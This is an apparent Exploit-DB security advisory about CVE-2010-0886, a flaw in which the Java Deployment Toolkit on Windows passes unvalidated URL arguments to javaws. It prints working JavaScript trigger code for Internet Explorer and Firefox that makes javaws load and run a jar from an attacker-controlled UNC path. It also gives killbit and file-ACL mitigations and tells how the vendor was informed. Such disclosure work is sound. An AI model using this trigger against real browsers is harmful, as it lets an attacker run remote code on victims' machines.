标题: Java Deployment Toolkit - Performs Insufficient Validation of Parameters EDB-ID: 12117 CVE: 2010-0886 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-09 漏洞利用脚本: Java Deployment Toolkit Performs Insufficient Validation of Parameters
-------------------------------------------------------------------------

Java Web Start (henceforth, jws) provides java developers with a way to let
users launch and install their applications using a URL to a Java Networking
Launching Protocol (.jnlp) file (essentially some xml describing the
program).

Since Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX control
called "Java Deployment Toolkit" to provide developers with a simpler method
of distributing their applications to end users. This toolkit is installed by
default with the JRE and marked safe for scripting.

The launch() method provided by the toolkit object accepts a URL string, which
it passes to the registered handler for JNLP files, which by default is the
javaws utility.

 $ cmd /c ver
 Microsoft Windows XP [Version 5.1.2600]

 $ java -version
 java version "1.6.0_19"
 Java(TM) SE Runtime Environment (build 1.6.0_19-b04)
 Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing)

 $ cat /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Classes/JNLPFile/Shell/Open/Command/\@
 "C:\Program Files\Java\jre6\bin\javaws.exe" "%1"

The toolkit provides only minimal validation of the URL parameter, allowing us
to pass arbitrary parameters to the javaws utility, which provides enough
functionality via command line arguments to allow this error to be exploited.

The simplicity with which this error can be discovered has convinced me
that releasing this document is in the best interest of everyone except
the vendor.

--------------------
Affected Software
------------------------

All versions since Java SE 6 update 10 for Microsoft Windows are believed to be
affected by this vulnerability. Disabling the java plugin is not sufficient to
prevent exploitation, as the toolkit is installed independently.

http://java.sun.com/javase/6/docs/technotes/guides/jweb/deployment_advice.html

I believe non-Windows installations are unaffected.

--------------------
Consequences
-----------------------

Exploitation of this issue is not terribly exciting, but is potentially of high
enough impact to merit explanation. The javaws application supports the
following command line parameters.

 $ javaws -help
 Usage:  javaws [run-options] <jnlp-file>
  javaws [control-options]

 where run-options include:
  -verbose          display additional output
  -offline          run the application in offline mode
  -system           run the application from the system cache only
  -Xnosplash        run without showing a splash screen
  -J<option>        supply option to the vm
  -wait             start java process and wait for its exit

 control-options include:
  -viewer           show the cache viewer in the java control panel
  -uninstall        remove all applications from the cache
  -uninstall <jnlp-file>                remove the application from the cache
  -import [import-options] <jnlp-file>  import the application to the cache

 import-options include:
  -silent           import silently (with no user interface)
  -system           import application into the system cache
  -codebase <url>   retrieve resources from the given codebase
  -shortcut         install shortcuts as if user allowed prompt
  -association      install associations as if user allowed prompt

Perhaps the most interesting of these is -J, and the obvious attack is simply
to add -jar followed by an attacker controlled UNC path to the jvm command
line, which I've demonstrated below. Other attacks are clearly possible, but
this is sufficient to demonstrate the problem.

In order to trigger this attack in Internet Explorer, an attacker would use a
code sequence like this

 /* ... */
 var o = document.createElement("OBJECT");

 o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

 o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
 /* ... */

 Or, for Mozilla Firefox

 /* ... */
 var o = document.createElement("OBJECT");

 o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"

 document.body.appendChild(o);

 o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
 /* ... */

Please note, at some point the registered MIME type was changed to
application/java-deployment-toolkit, please verify which type applies to
your users when verifying any mitigation implemented has been effective (the
simplest way would be to look at the output of about:plugins on a reference
machine).

A harmless demonstration is provided below.

-------------------
Mitigation
-----------------------

If you believe your users may be affected, you should consider applying one of
the workarounds described below as a matter of urgency.

- Internet Explorer users can be protected by temporarily setting the killbit
 on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge, the
 deployment toolkit is not in widespread usage and is unlikely to impact end
 users.

- Mozilla Firefox and other NPAPI based browser users can be protected using
 File System ACLs to prevent access to npdeploytk.dll. These ACLs can also be
 managed via GPO.

Detailed documentation on killbits is provided by Microsoft here

http://support.microsoft.com/kb/240797

Domain administrators can deploy killbits and File System ACLs using GPOs, for
more information on Group Policy, see Microsoft's Group Policy site, here

http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx

You may be tempted to kill the HKLM\...\JNLPFile\Shell\Open\Command key, but
the author does not believe this is sufficient, as the plugin also provides
enough functionality to install and downgrade JRE installations without
prompting (seriously). However, if none of your affected users are local
Administrators, this solution may work (untested).

As always, if you do not require this feature, consider permanently disabling
it in order to reduce attack surface.

-------------------
Solution
-----------------------

Sun has been informed about this vulnerability, however, they informed me they
do not consider this vulnerability to be of high enough priority to break their
quarterly patch cycle.

For various reasons, I explained that I did did not agree, and intended to
publish advice to temporarily disable the affected control until a solution is
available.
